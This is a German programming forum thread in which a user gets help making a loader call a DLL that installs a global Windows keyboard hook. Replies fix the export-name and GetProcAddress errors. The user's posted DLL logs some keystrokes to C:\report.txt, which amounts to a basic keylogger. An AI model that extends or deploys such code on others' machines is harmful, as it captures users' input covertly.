LoadLibrary



  • static HINSTANCE hinstDLL; 
    	typedef BOOL (CALLBACK *inshook)(); 
    	inshook instkbhook;
    	hinstDLL = LoadLibrary((LPCTSTR) "hook.dll"); 
    	instkbhook = (inshook)GetProcAddress(hinstDLL, "installhook"); 
    	instkbhook();
    

    also wenn ich so den hook auf rufe
    stürtz die exe immer ab warum ?



  • erster ansatz: überprüf mal die lage der dll

    instkbhook = (inshook)GetProcAddress(hinstDLL, "installhook"); 
    
    if (instkbhook)
       ... mache was
    else
       printf("\nDLL nicht gefunden.\n Pfad falsch.");
    


  • er findet die dll
    nachher komtm wieder error...
    Windows musste die anwendung schließen ...



  • Tippe mal stark darauf, dass du den Namen der zu dynamisch linkenden Funktion (Hier: 'installhook') falsch geschrieben hast. Kontrollier das mal (-> auch Groß -und Kleinschreibung!)



  • BOOL __declspec(dllexport)__stdcall installhook()
    {
    f1=fopen("c:\\report.txt","w");
    fclose(f1);
    hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);
    
    return TRUE;
    }
    

    ne installhook ist gleich geschrieben


  • Mod

    Ohne DEF Datei heißt die Funktion _installhook.

    Benutze DUMPBIN /EXPORTS oder DEPENDS um den korrekten Namen anzuzeigen.



  • Und dein Code führt leicht zu Programmabstürzen:

    typedef BOOL (__stdcall *installhook32)(void);
    
    bool InstallHook(void)
    {
        ::HINSTANCE        hDll        = NULL;
        ::installhook32    installhook = NULL;
    
        hDll = ::LoadLibrary(_T("hook.dll"));
    
        if (hDll == NULL)
            return false;
    
        installhook = reinterpret_cast<installhook32>(::GetProcAddress(hDLL, _T("installhook")));
        if (installhook == NULL)
            return false;
    
        return (installhook() == TRUE ? true : false);
    }
    


  • Help Me schrieb:

    hinstDLL = LoadLibrary((LPCTSTR) "hook.dll");
    

    Das sollte korrekterweise

    hinstDLL = LoadLibrary(_T("hook.dll")); // <tchar.h> nicht vergessen
    

    heissen.

    (D)Evil schrieb:

    installhook = reinterpret_cast<installhook32>(::GetProcAddress(hDLL, _T("installhook")));
    

    Hier wiederum gehört das _T nicht hin.

    installhook = reinterpret_cast<installhook32>(::GetProcAddress(hDLL, "installhook"));
    


  • also ok nun geht es bei mir
    aber wenn ich es meinen freund gebe
    kommt : HOOK ERROR (1) obwohl er es genau so started wie ich

    typedef BOOL (__stdcall *installhook32)(void);
    
    bool InstallHook(void)
    {
        ::HINSTANCE        hDll        = NULL;
        ::installhook32    installhook = NULL;
    
        hDll = ::LoadLibrary(_T("hook.dll"));
    
    	if (hDll == NULL) {
    		printf("HOOK ERROR (1)");
            return false;
    	}
    	installhook = reinterpret_cast<installhook32>(::GetProcAddress(hDll, "installhook"));
    	if (installhook == NULL) {
    		printf("HOOK ERROR (2)");
    		return false; 
    	}
        return (installhook() == TRUE ? true : false);
    }
    

    die hook.dll ist im gleichen ordner wie die load.exe
    bei mir geht es und bei ihn kommt error und hab auch noch bei
    bruder getestet da kommt auch HOOK ERROR (1)



  • Lass dir mal den entsprechenden Fehler ausgeben:

    printf("HOOK ERROR (1), %x", GetLastError());
    

    btw:
    Den globalen Scope Operator ( :: ) kannst du weglassen, und solltest ihn nur verwenden, wenn er wirklich notwendig ist.
    Und die Rückgabe kannst du auch einfach

    return installhook() != FALSE;
    

    schreiben.



  • Also hier ist die DLL:
    ///////////////////////////////////////////////////////////////

    [::::::: hook.h :::::::]

    #define EXPORT __declspec(dllexport)__stdcall
    LRESULT EXPORT  CALLBACK KeyboardProc(int nCode, WPARAM wParam,LPARAM lParam);
    BOOL EXPORT  installhook();
    

    [::::::: Main.cpp :::::::]

    //// Includes \\\\\\\\\\\\\\\\\\\\\\\\\
    ///////////////////////////////////////
    #include "stdafx.h"
    #include <windows.h>
    #include <time.h>
    #include <conio.h>
    #include <stdio.h>
    #include <string>
    #include <fstream>
    #include <iostream>
    #include "hook.h"
    ///////////////////////////////////////
    
    //// Variablen \\\\\\\\\\\\\\\\\\\\\\\\
    ///////////////////////////////////////
    using namespace std;
    FILE		*f1;
    HHOOK		hkb;
    HINSTANCE	hins;
    #pragma data_seg ("Shared")
    #pragma data_seg ()
    #pragma comment (linker, "/section:Shared,RWS")
    ///////////////////////////////////////
    
    //// Keyboard Hook \\\\\\\\\\\\\\\\\\\\
    ///////////////////////////////////////
    LRESULT EXPORT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {		
    		if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode)) {
    				f1=fopen("C:\\report.txt","a+");
    					if (wParam==VK_RETURN) { fputs("[ENTER]",f1); }
    					else if (wParam==VK_BACK) { fputs("[BACK]",f1); }
    				fclose(f1);
    		}
    	LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );
    	return  RetVal;
    }
    ///////////////////////////////////////
    
    //// Install Hook \\\\\\\\\\\\\\\\\\\\
    ///////////////////////////////////////
    BOOL EXPORT installhook() {
    		f1=fopen("C:\\report.txt","w");
    		fclose(f1);
    		hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);
    	return TRUE;
    }
    ///////////////////////////////////////
    

    Hier ist der Loader:
    ///////////////////////////////////////////////////////////////

    [::::::: Main.cpp :::::::]

    //// Includes \\\\\\\\\\\\\\\\\\\\\\\\\
    ///////////////////////////////////////
    #include "stdafx.h"
    #include "windows.h"
    ///////////////////////////////////////
    
    //// Variablen \\\\\\\\\\\\\\\\\\\\\\\\
    ///////////////////////////////////////
    typedef BOOL (__stdcall *installhook32)(void);
    BOOL InstallHook(void);
    ///////////////////////////////////////
    
    //// Main (Start) \\\\\\\\\\\\\\\\\\\\\
    ///////////////////////////////////////
    int _tmain(int argc, _TCHAR* argv[])
    {
    	InstallHook();
    
    	while(true) {
    		SleepEx(10,true);
    	}
    	return 0;
    }
    ///////////////////////////////////////
    
    //// Install Hook - Funktion \\\\\\\\\\
    ///////////////////////////////////////
    BOOL InstallHook(void)
    {
        ::HINSTANCE        hDll        = NULL;
        ::installhook32    installhook = NULL;
    
        hDll = ::LoadLibrary(_T("hook.dll"));
    
    	if (hDll == NULL) {
    		printf("HOOK ERROR (1)\nError = %x", GetLastError());
            return false;
    	}
    	installhook = reinterpret_cast<installhook32>(::GetProcAddress(hDll, _T("installhook")));
    	if (installhook == NULL) {
    		printf("HOOK ERROR (2)\nError = %x", GetLastError());
    		return false; 
    	}
        return (installhook() == TRUE ? true : false);
    }
    ///////////////////////////////////////
    

    könnte mir einer weiter helfen ?
    btw sagen wo meine fehler sind

    Ich Danke allen die hier Helfen!

    mfG,
    (Help Me 🙄 )



  • bool InstallHook(void)
    {
        ::HINSTANCE        hDll        = NULL;
        ::installhook32    installhook = NULL;
    
        hDll = ::LoadLibrary(_T("hook.dll"));
    
        if (hDll == NULL) 
        {
            printf("HOOK ERROR (1)\nError = %x", GetLastError());
            return false;
        }
        installhook = reinterpret_cast<installhook32>(::GetProcAddress(hDll, "installhook"));
        if (installhook == NULL) 
        {
            printf("HOOK ERROR (2)\nError = %x", GetLastError());
            return false;
        }
        return (installhook() == TRUE ? true : false);
    }
    

    BOOL ist ein Integer Datentype ... bool nicht ... d.h. bleib bei bool ... hmm an sonnsten hast du nicht das korrigiert was groovemaster meinte ... tjo ... usw


  • Mod

    Und was für ein Fehler wird nun angezeigt?



  • also wenn ich starte kommt :

    HOOK ERROR (2)
    ERROR = 7f

    ich glaube das mit der funktion aufrufen ist falsch oder so
    wüsste jemand wie man das zum laufen bringt ?

    mfG,
    Help Me


  • Mod

    Martin Richter schrieb:

    Ohne DEF Datei heißt die Funktion _installhook.

    Benutze DUMPBIN /EXPORTS oder DEPENDS um den korrekten Namen anzuzeigen.

    Ich wiederhole mich!



  • Martin Richter schrieb:

    Martin Richter schrieb:

    Ohne DEF Datei heißt die Funktion _installhook.

    Benutze DUMPBIN /EXPORTS oder DEPENDS um den korrekten Namen anzuzeigen.

    Ich wiederhole mich!

    sry hab ich net gesehen,
    leider weiß ich auch nicht wie das geht
    könntest du mir da helfen ?

    mfG,
    Help Me



  • 💡 ➡ _installhook ⚠



  • Help Me schrieb:

    also wenn ich starte kommt :

    HOOK ERROR (2)
    ERROR = 7f

    //
    // MessageId: ERROR_PROC_NOT_FOUND
    //
    // MessageText:
    //
    // The specified procedure could not be found.
    //
    #define ERROR_PROC_NOT_FOUND 127L

    GetProcAddress kann die Funktion installhook schlichtweg nicht finden. Das liegt daran, dass du momentan C++ Name Mangling verwendest. Solche Funktionen zu benutzen, ist nur mit Load-Time Linking ohne grossen Aufwand möglich. Wenn du Runtime Linking (LoadLibrary) verwendest, müsstest du den kryptischen C++ Namen kennen und diesen bei GetProcAddress angeben. Das ist aber erstens unportabel (afaik), und zweitens nicht wirklich schön. Mein Tipp, benutze in diesem Fall explizit C Name Mangling, wenn du mit einem C++ Compiler unterwegs bist.

    extern "C" BOOL EXPORT installhook(void)
    

Anmelden zum Antworten